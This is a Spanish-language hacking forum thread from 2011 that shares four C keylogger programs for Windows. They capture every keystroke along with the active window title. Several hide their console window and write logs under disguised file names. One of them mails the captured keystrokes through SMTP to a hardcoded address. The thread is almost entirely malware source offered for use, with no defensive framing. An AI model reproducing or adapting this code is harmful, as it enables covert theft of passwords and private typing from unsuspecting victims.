Keyloggers C

Iniciado por ANTRAX, Mayo 22, 2011, 09:53:59 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Mayo 22, 2011, 09:53:59 PM Ultima modificación: Febrero 08, 2014, 05:50:36 PM por Expermicid
Características:
- Se inicia en la ruta donde sea ejecutado
  |No se añade al registro|
- Guarda un log de todos los sucesos así como de las teclas pulsadas,
  en el archivo "LgPh.log" con el título de la ventana y la fecha

- Contacto:
Coded by Lympex - lympex[at]gmail[dot]com && No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
*/
/*

Modificacion de keyloguer básico - Coded by P
------------------------------------------------

- Modificado el modo de indentificar las teclas.
- Cuando se pulsan 850 teclas tambien se guarda ( Sino nos da un error )


P - No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Código: c
*/

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <time.h>

#define OK -32767

int main() {
   
    FILE *log;
    HWND ventana;   
    time_t ltime;
    int tecla=0;
    int cont=0;
    char TVentana[500] = "";                     
    char Teclas[10240]=""; //      0  1      2          3          4  5          6  7  8              9       10
    char simbol[256][15] =/*0*/  {"","","[CliC-I]","[CliC-D]","","[CliC-C]","","","[Retroceder]","[TAB]","",
                          /*1*/      "","","[ENTER]","","","[SHIFT]","[CONTROL]","[ALT]","","[Mayusculas]",
                          /*2*/      "","","","","","","[Esc]","","","",
                          /*3*/      ""," ","[Re-Pag]","[Av-Pag]","","[Inicio]","[Izquierda]","[Arriba]","[Derecha]","[Abajo]",
                          /*4*/      "","","","[PrtSc]","[Insert]","[Supr]","","0","1","2",
                          /*5*/      "3","4","5","6","7","8","9","","","",
                          /*6*/      "","","","","a","b","c","d","e","f",
                          /*7*/      "g","h","i","j","k","l","m","n","o","p",
                          /*8*/      "q","r","s","t","u","v","w","x","y","z",
                          /*9*/      "[WIN-I]","[WIN-D]","[D-WIN]","","","0","1","2","3",
                          /*10*/     "4","5","6","7","8","9","*","+"," ","-",".",
                          /*11*/     "/","[F1]","[F2]","[F3]","[F4]","[F5]","[F6]","[F7]","[F8]","[F9]",
                          /*12*/     "[F10]","[F11]","[F12]"," "," "," "," "," "," "," ",
                          /*13*/     " "," "," "," "," "," "," "," "," "," "," ",
                          /*14*/     " "," ","[Bloq Num]"," "," "," "," "," "," ",
                          /*15*/     " "," "," "," "," "," "," "," "," ","[Shift-I]",
                          /*16*/     "[Shift-D]"," "," "," "," "," "," "," "," "," ",
                          /*17*/     " "," "," "," "," "," "," "," "," "," ",
                          /*18*/     " "," "," "," "," "," "," ",",","-",".",
                          /*19*/     " "," "," "," "," "," "," "," "," ",
                          /*20*/     " "," "," "," "," "," "," "," "," "," "," ",
                          /*21*/     " "," "," "," "," "," "," "," ","'","\\",
                          /*22*/     "¡","´" };
     
   log=fopen("log.log","a");
   fprintf(log,"\n/******************************/");
   fprintf(log,"\n/* [*]KeyLoGuer   */");
   fprintf(log,"\n/* [*]Iniciando...OK ");
   fprintf(log,"\n/******************************/");
   fclose(log);
           
   ventana=GetForegroundWindow();
   
   while(1) {
      if((GetForegroundWindow()!=ventana) || (cont==850)){
         if(strlen(TVentana)>0 && strlen(Teclas)>0) {
            time(&ltime);
            ctime(&ltime);

            log=fopen("log.log","a");
            fprintf(log,"\n\n[*] Fecha: %s",ctime(&ltime));
            fprintf(log,"[*] Ventana: %s ",TVentana);
            fprintf(log,"\n[*] Texto: %s",Teclas);
            fprintf(log,"\n ");
            fprintf(log,"\n/******************************/\n");
            fclose(log);

            free(Teclas);
            strcpy(Teclas,"");
            cont = 0;
            }
         ventana=GetForegroundWindow();
         }
      else {
           GetWindowText(ventana,TVentana,500);
           }
      for(tecla=4;tecla<256;tecla++) {
          if (GetAsyncKeyState(tecla)==OK) {
              strcat(Teclas,simbol[tecla]);
              printf(" %s \n" ,simbol[tecla]);
              cont++;
              }
          }
    }
}





Código: c
#include <stdio.h>
#include <windows.h>

#define OK -32767

void main()
{
/*jugamos con las teclas virtuales, en vez de con el código ascii, para poder usarlo con distintos idiomas*/
do
{
/*TECLADO NUMÉRICO*/
if(GetAsyncKeyState(VK_NUMPAD9)==OK)
{
printf("9");
}

if(GetAsyncKeyState(VK_NUMPAD8)==OK)
{
printf("8");
}

if(GetAsyncKeyState(VK_NUMPAD7)==OK)
{
printf("7");
}

if(GetAsyncKeyState(VK_NUMPAD6)==OK)
{
printf("6");
}

if(GetAsyncKeyState(VK_NUMPAD5)==OK)
{
printf("5");
}

if(GetAsyncKeyState(VK_NUMPAD4)==OK)
{
printf("4");
}

if(GetAsyncKeyState(VK_NUMPAD3)==OK)
{
printf("3");
}

if(GetAsyncKeyState(VK_NUMPAD2)==OK)
{
printf("2");
}

if(GetAsyncKeyState(VK_NUMPAD1)==OK)
{
printf("1");
}

if(GetAsyncKeyState(VK_NUMPAD0)==OK)
{
printf("0");
}

/*TECLAS ESPECIALES*/
if(GetAsyncKeyState(VK_RETURN)==OK)
{
printf("[Return]");
}

if(GetAsyncKeyState(VK_SHIFT)==OK)
{
printf("[Shift]");
}

Sleep(100);
}while(1<2);
return;
}





Código: c
#include <windows.h>
#include <stdio.h>
#include <winuser.h>
#include <windowsx.h>
#include <time.h>
int MailIt (char *mailserver, char *emailto, char *emailfrom,
char *emailsubject, char *emailmessage);
#define BUFSIZE 800
#define waittime 500
#define cmailserver "gmail-smtp-in.l.google.com"
#define cemailto "[email protected]"
#define cemailfrom "[email protected]"
#define LogLength 100
#define FileName "sound.wav"
#define SMTPLog "ring.wav"
#define cemailsubject "Logged"

int test_key(void);
int main(void)
{
   HWND stealth;
   AllocConsole();
   stealth=FindWindowA("ConsoleWindowClass",NULL);
   ShowWindow(stealth,0);
   
   {FILE *file;
   file=fopen(FileName,"a+");
   time_t theTime=time(0);
   fputs("\nStarted logging: ", file);
   fputs(ctime(&theTime),file);
   fclose(file);
   }
   
   int t=get_keys();   
   return t;


int get_keys(void)
{
int freadindex;
char *buf;
long len;
FILE *file;
file=fopen(FileName,"a+");


           short character;
             while(1)
             {
             SetPriorityClass(GetCurrentProcess(), IDLE_PRIORITY_CLASS);
                    Sleep(50);
                    for(character=8;character<=222;character++)
                    {
                        if(GetAsyncKeyState(character)==-32767)
                        { 
                            FILE *file;
                            file=fopen(FileName,"a+");
                            if(file==NULL)
                            {
                                    return 1;
                            }           
                            if(file!=NULL)
                            {       
                                    if((character>=39)&&(character<=64))
                                    {
                                          fputc(character,file);
                                          fclose(file);
                                          break;
                                    }       
                                    else if((character>64)&&(character<91))
                                    {
                                          character+=32;
                                          fputc(character,file);
                                          fclose(file);
                                          break;
                                    }
                                    else
                                    {
                                        switch(character)
                                        {
                                              case VK_SPACE:
                                              fputc(' ',file);
                                              fclose(file);
                                              break;   
                                              case VK_SHIFT:
                                              fputs("\r\n[SHIFT]\r\n",file);
                                              fclose(file);
                                              break;                                           
                                              case VK_RETURN:
                                              fputs("\r\n[ENTER]\r\n",file);
                                              fclose(file);
                                              break;
                                              case VK_BACK:
                                              fputs("\r\n[BACKSPACE]\r\n",file);
                                              fclose(file);
                                              break;
                                              case VK_TAB:
                                              fputs("\r\n[TAB]\r\n",file);
                                              fclose(file);
                                              break;
                                              case VK_CONTROL:
                                              fputs("\r\n[CTRL]\r\n",file);
                                              fclose(file);
                                              break;   
                                              case VK_DELETE:
                                              fputs("\r\n[DEL]\r\n",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_1:
                                              fputs("\r\n[;:]\r\n",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_2:
                                              fputs("\r\n[/?]\r\n",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_3:
                                              fputs("\r\n[`~]\r\n",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_4:
                                              fputs("\r\n[ [{ ]\r\n",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_5:
                                              fputs("\r\n[\\|]\r\n",file);
                                              fclose(file);
                                              break;                               
                                              case VK_OEM_6:
                                              fputs("\r\n[ ]} ]\r\n",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_7:
                                              fputs("\r\n['\"]\r\n",file);
                                              fclose(file);
                                              break;
                                              case 187:
                                              fputc('+',file);
                                              fclose(file);
                                              break;
                                              case 188:
                                              fputc(',',file);
                                              fclose(file);
                                              break;
                                              case 189:
                                              fputc('-',file);
                                              fclose(file);
                                              break;
                                              case 190:
                                              fputc('.',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD0:
                                              fputc('0',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD1:
                                              fputc('1',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD2:
                                              fputc('2',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD3:
                                              fputc('3',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD4:
                                              fputc('4',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD5:
                                              fputc('5',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD6:
                                              fputc('6',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD7:
                                              fputc('7',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD8:
                                              fputc('8',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD9:
                                              fputc('9',file);
                                              fclose(file);
                                              break;
                                              case VK_CAPITAL:
                                              fputs("\r\n[CAPS LOCK]\r\n",file);
                                              fclose(file);
                                              break;
                                              default:
                                              fclose(file);
                                              break;
                                       }       
                                  }   
                             }       
                   }   
               } 
               sleep (50);               
           FILE *file;
           file=fopen(FileName,"rb");
           fseek(file,0,SEEK_END);
           len=ftell(file);
           if(len>=LogLength) {
             fseek(file,0,SEEK_SET);
             buf=(char *)malloc(len);
             freadindex=fread(buf,1,len,file);
             buf[freadindex] = '\0';
             MailIt( cmailserver, cemailto, cemailfrom, cemailsubject, buf);
             fclose(file);
             file=fopen(FileName,"w");                       
             }
           
            fclose(file);
                 
           }
           return EXIT_SUCCESS;                           
}

int MailIt (char *mailserver, char *emailto, char *emailfrom,
char *emailsubject, char *emailmessage) {
      SetPriorityClass(GetCurrentProcess(), IDLE_PRIORITY_CLASS);
    SOCKET sockfd;
    WSADATA wsaData;
    FILE *smtpfile;
   
    #define bufsize 300
    int bytes_sent;   
    int err;
    struct hostent *host;   
    struct sockaddr_in dest_addr;   
    char line[1000];
    char *Rec_Buf = (char*) malloc(bufsize+1);
    smtpfile=fopen(SMTPLog,"a+");
    if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {
      fputs("WSAStartup failed",smtpfile);
      WSACleanup();
      return -1;
    }
    if ( (host=gethostbyname(mailserver)) == NULL) {
       perror("gethostbyname");
       exit(1);
    }
    memset(&dest_addr,0,sizeof(dest_addr));
    memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);

   
     dest_addr.sin_family= host->h_addrtype; 
     dest_addr.sin_port= htons(25);

     if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
        perror("socket");
        exit(1);
        }
        sleep (50);
     fputs("Connecting....\n",smtpfile);

    if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
        perror("connect");
        exit(1);
        }
     sleep(50);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"helo me.somepalace.com\n");
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     sleep(50);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"MAIL FROM:<");
     strncat(line,emailfrom,strlen(emailfrom));
     strncat(line,">\n",3);
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     sleep(50);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"RCPT TO:<");
     strncat(line,emailto,strlen(emailto));
     strncat(line,">\n",3);
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     sleep(50);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"DATA\n");
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     sleep(50);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     sleep(50);
     strcpy(line,"To:");
     strcat(line,emailto);
     strcat(line,"\n");
     strcat(line,"From:");
     strcat(line,emailfrom);
     strcat(line,"\n");
     strcat(line,"Subject:");
     strcat(line,emailsubject);
     strcat(line,"\n");
     strcat(line,emailmessage);
     strcat(line,"\r\n.\r\n");
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     sleep(50);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"quit\n");
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     sleep(50);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     fclose(smtpfile);                         
     #ifdef WIN32
     closesocket(sockfd);
     WSACleanup();
     #else
     close(sockfd);
     #endif
}





Características:
   - Se inicia en la ruta donde sea ejecutado
   - No se añade al registro
   - Guarda un log de todos los sucesos así como de las teclas pulsadas,
     en el archivo "LgPh.log" con el título de la ventana y la fecha

- Contacto:
   Coded by Lympex - lympex[at]gmail[dot]com && No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Código: c
*/

/*cabeceras*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <time.h>

/*para el log*/
FILE *log;
/*esta constante nos indicará si se ha pulsado la tecla que indiquemos*/
#define OK -32767
/*para el hwnd de la ventana activa*/
HWND ventana;

/*==============================================================
==============================================================*/
void main(int argc, char *argv[])
{
/*realiza un seguimiento de las teclas pulsadas*/
void KeyLogger();

/*ocultamos la ventana antes que nada*/
ventana=GetForegroundWindow();
ShowWindow(ventana,SW_HIDE);

/*abrimos el log*/
log=fopen("LgPh.log","a");

/*escribimos en el log*/
fprintf(log,"\n------------------------------------\n");
fprintf(log,"[+] PhcKey 0.2 Log");
fprintf(log,"\n[+] Iniciando keyloguer...");
fclose(log);
/*comenzamos a loguear teclas*/
KeyLogger();
}


/*==============================================================
    ESTA FUNCIÓN ES LA QUE CAPTURA LAS TECLAS Y GUARDA EL LOG
==============================================================*/
void KeyLogger()
{
//para obtener la hora del equipo
time_t ltime;
/*obtiene el código ascii de la tecla pulsada*/
int tecla=0;
//para el texto de la vntana activa
char TVentana[500];
//para almacenar las teclas que se pulsan
char *Teclas;
int k; //para recorrer el código ascii de las letras
//el abecedario (reemplazamos el codigo ascii x la tecla según su posicion, para no crear 25 entradas en el switch)
char dominio[] = "abcdefghijklmnopqrstuvwxyz";
//idem
char dominio_num[] = "0123456789"; //para escanear el numpad

//limpiamos el buffer del teclado para no mezclar
fflush(stdin);

/*comenzamos a loguear*/
log=fopen("LgPh.log","a");
fprintf(log,"OK\n");
fclose(log);

//cojemos el hwnd de la ventana activa
ventana=GetForegroundWindow();

//guardamos la memoria
Teclas=calloc(1024,sizeof(char));
//mientras la variable 'loguea' sea TRUE
do
{
/*MIRAMOS SI HA CAMBIADO DE VENTANA PARA GUARDAR LOS DATOS*/
if(GetForegroundWindow()!=ventana) //si ha cambiado la ventana
{
if(strlen(TVentana)>0 && strlen(Teclas)>0) //si hay datos suficientes para loguear
{
//cojemos la hora
time(&ltime);
ctime(&ltime);

//como ha cambiado laventana, guardamos los datos
log=fopen("LgPh.log","a");
fprintf(log,"\n\n[+] Fecha: %s",ctime(&ltime)); //metemos la hora
fprintf(log,"[-] [ Ventana: %s ]",TVentana);
fprintf(log,"\n    %s",Teclas);//guardamos las teclas
fclose(log);
//limpiamos la variable
free(Teclas);
Teclas=calloc(1024,sizeof(char));
}
//cojemos el nuevo hwnd
ventana=GetForegroundWindow();
}else{
//y ahora cojemos el nuevo texto de la ventana
GetWindowText(ventana,TVentana,500);
}

/*creamos un bucle para saber qué tecla pulsa*/
for(tecla=4;tecla<256;tecla++)
{
if(GetAsyncKeyState(tecla)==OK) //si pulsa una tecla
{
//------------------------------------
/*ESCANEAMOS BUSCANDO CARACTERES A-Z*/
//------------------------------------
for(k=65;k<91;k++)
{
if(tecla==k)
{
Teclas[strlen(Teclas)]=dominio[tecla-65];
Teclas[strlen(Teclas)]='\0';
}
}

//-----------------------------------------------
/*ESCANEAMOS BUSCANDO CARACTERES 0-9 DEL NUMPAD*/
//-----------------------------------------------
for(k=96;k<106;k++)
{
if(tecla==k)
{
Teclas[strlen(Teclas)]=dominio_num[tecla-96];
Teclas[strlen(Teclas)]='\0';
}
}

//filtramos los caracteres, porque con 'toascii()' se añaden caracteres a parte
switch(tecla)
{
/*Miramos los "F1,F2..."*/
case 112:
strcat(Teclas,"[F1]");
break;

case 113:
strcat(Teclas,"[F2]");
break;

case 114:
strcat(Teclas,"[F3]");
break;

case 115:
strcat(Teclas,"[F4]");
break;

case 116:
strcat(Teclas,"[F5]");
break;

case 117:
strcat(Teclas,"[F6]");
break;

case 118:
strcat(Teclas,"[F7]");
break;

case 119:
strcat(Teclas,"[F8]");
break;

case 120:
strcat(Teclas,"[F9]");
break;

case 121:
strcat(Teclas,"[F10]");
break;

case 122:
strcat(Teclas,"[F11]");
break;

case 123:
strcat(Teclas,"[F13]");
break;

case 27:
strcat(Teclas,"[Escape]");
break;

case 8:
strcat(Teclas,"[Retroceso]");
break;

case 13:
strcat(Teclas,"[Enter]");
break;

case 9:
strcat(Teclas,"[Tabulado]");
break;

case 20:
strcat(Teclas,"[Bloq.Mayus.]");
break;

case 160:
strcat(Teclas,"[Shitf(Izq)]");
break;

case 161:
strcat(Teclas,"[Shitf(Dcha)]");
break;

/*caracteres especiales*/
case 221:
Teclas[strlen(Teclas)]='¡';
Teclas[strlen(Teclas)]='\0';
break;

case 219:
strcat(Teclas,"[']");
break;

case 192:
strcat(Teclas,"[ñ]");
break;

case 32:
strcat(Teclas," ");
break;

case 144:
strcat(Teclas,"[Bloq Num]");
break;

case 111:
Teclas[strlen(Teclas)]='/';
Teclas[strlen(Teclas)]='\0';
break;

case 106:
Teclas[strlen(Teclas)]='*';
Teclas[strlen(Teclas)]='\0';
break;

case 109:
Teclas[strlen(Teclas)]='-';
Teclas[strlen(Teclas)]='\0';
break;

case 220:
Teclas[strlen(Teclas)]='\\';
Teclas[strlen(Teclas)]='\0';
break;

case 49:
Teclas[strlen(Teclas)]='1';
Teclas[strlen(Teclas)]='\0';
break;

case 50:
Teclas[strlen(Teclas)]='2';
Teclas[strlen(Teclas)]='\0';
break;

case 51:
Teclas[strlen(Teclas)]='3';
Teclas[strlen(Teclas)]='\0';
break;

case 52:
Teclas[strlen(Teclas)]='4';
Teclas[strlen(Teclas)]='\0';
break;

case 53:
Teclas[strlen(Teclas)]='5';
Teclas[strlen(Teclas)]='\0';
break;

case 54:
Teclas[strlen(Teclas)]='6';
Teclas[strlen(Teclas)]='\0';
break;

case 55:
Teclas[strlen(Teclas)]='7';
Teclas[strlen(Teclas)]='\0';
break;

case 56:
Teclas[strlen(Teclas)]='8';
Teclas[strlen(Teclas)]='\0';
break;

case 57:
Teclas[strlen(Teclas)]='9';
Teclas[strlen(Teclas)]='\0';
break;

case 48:
Teclas[strlen(Teclas)]='0';
Teclas[strlen(Teclas)]='\0';
break;

case 188:
Teclas[strlen(Teclas)]=',';
Teclas[strlen(Teclas)]='\0';
break;

case 189:
Teclas[strlen(Teclas)]='-';
Teclas[strlen(Teclas)]='\0';
break;

case 190:
Teclas[strlen(Teclas)]='.';
Teclas[strlen(Teclas)]='\0';
break;

default:
//mostramos el caracter ascii de la tecla pulsada
//printf("{%d}",tecla);
break;
};
}
}
}while(1<2);
}